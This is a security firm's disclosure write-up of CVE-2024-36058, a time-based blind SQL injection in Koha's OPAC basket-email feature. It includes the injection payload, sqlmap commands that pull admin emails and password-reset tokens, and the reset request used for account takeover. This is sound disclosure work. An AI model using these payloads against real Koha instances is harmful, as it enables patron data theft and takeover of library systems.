Summary
Hacklantic discovered and disclosed CVE-2024-36058, a critical SQL Injection vulnerability in Koha's Online Public Access Catalogue (OPAC).
The vulnerability affects Koha's “Send Basket” functionality and can be exploited by a low-privileged library user, which can often be self-registered without administrative approval.
When exploited against Koha versions before 23.05.10, it gives an attacker read access to the backend database, which can be leveraged to:
- Access other library users' personal data
- Recover usernames and password-reset tokens for any library user / staff member
- Compromise privileged superlibrarian accounts
- Gain full control of the library catalogue
The Target
Koha is an open-source library management system (LMS) estimated to be used by thousands of libraries worldwide across public, academic, research, and other sectors.
As an open-source project, Koha's complete codebase is publicly available. This provides defenders with visibility into its implementation while also giving security researchers and attackers the opportunity to scrutinise it for vulnerabilities.
Koha exposes two primary web interfaces: the public-facing OPAC (Online Public Access Catalogue), which members use to search the library catalogue and manage their accounts, and a separate Staff interface used by librarians.
This assessment targeted Koha v23.05.09, with testing focused on the publicly accessible OPAC and the security implications of vulnerabilities that could be exploited by a low-privileged library member.
Reaching the Vulnerable Functionality
The vulnerable functionality was reached through the basket feature available to ordinary library members.
The first step was to add a catalogue item to the basket.
From the basket, Koha provided an option to send its contents to an email address.
Selecting the option opened a form where the recipient's email address could be specified.
This functionality was the entry point for CVE-2024-36058.
The SQL Injection
On clicking “Send”, the submitted request was issued to opac-sendbasket.pl.
The bib_list parameter, which contained the biblio IDs selected in the basket, was found to be concatenated directly into a SQL query without being safely parameterised.
The time-based payload below was attempted:
POST /cgi-bin/koha/opac-sendbasket.pl HTTP/1.1 Host: 192.168.1.59:8080 --SNIP-- email_add=security@hacklantic.com&comment=:)&bib_list=29) AND (SELECT 1 FROM (SELECT(SLEEP(28)))x)-- -/&csrf_token=<token>
The database paused for roughly 28 seconds, exactly as dictated by SLEEP(28), confirming a time-based blind SQL injection.
From Blind Injection to Data Extraction
Blind, time-based injection is slow and noisy - each value must be inferred through a series of requests and measurable delays. Dumping the entire database this way would have been impractical, so it was important to be precise.
Fortunately, Koha is open source, so its database schema is publicly available. This made it possible to identify the relevant tables and columns in advance.
In this case, both library members and staff were stored in the borrowers table, providing a clear target for data extraction.
The sqlmap command below was used to target the borrowers table and extract the username and email address of a superlibrarian account (flags=1) using the blind SQL injection:
sqlmap -r REQUEST.txt --dbms mysql --technique T \ --sql-query="SELECT CONCAT(userid,':',email) FROM borrowers WHERE flags=1 LIMIT 1"
As highlighted below, the target superlibrarian account was successfully identified.
Account Takeover via Password Reset
With the administrator's email address identified, the next step was to target Koha's password recovery functionality.
The source code again provided a useful starting point, revealing that password reset tokens were stored in the borrower_password_recovery table.
Requesting a password reset for the administrator caused a token to be generated and inserted into the table.
The resulting token was then extracted from the table using the same blind SQL injection:
sqlmap -r REQUEST.txt --dbms mysql --technique T \ --sql-query="SELECT uuid FROM borrower_password_recovery WHERE borrowernumber=51"
With the token extracted, the password reset link could then be constructed and used to set a new password for the target administrator account.
The request below was issued to successfully change the password for the target account:
POST /cgi-bin/koha/opac-password-recovery.pl HTTP/1.1 Host: 192.168.1.59:8080 --SNIP-- koha_login_context=opac&newPassword=AccountTakeover123!x&repeatPassword=AccountTakeover123!x&username=Admin_Hacklantic&uniqueKey=$2a$08$i0hJoW76tBVZpdwrTGX6Xu&passwordReset=Submit
Superlibrarian Access
The Koha OPAC and staff interface were exposed on separate ports. With the superlibrarian's credentials now recovered, it was possible to authenticate directly to the staff interface:
At this point the attacker effectively owns the Koha instance, free to exfiltrate patron data, rewrite catalogue and circulation records, and control every staff and member account.
In Part 2, Hacklantic demonstrates remote code execution on the underlying server via another discovered vulnerability, tracked as CVE-2024-36057.
Disclosure
The issue was responsibly disclosed to the Koha development team and resolved as part of the project's coordinated June 2024 security release across all maintained branches.
The full technical advisory and proof-of-concept are published on GitHub: hacklantic/CVE-2024-36058.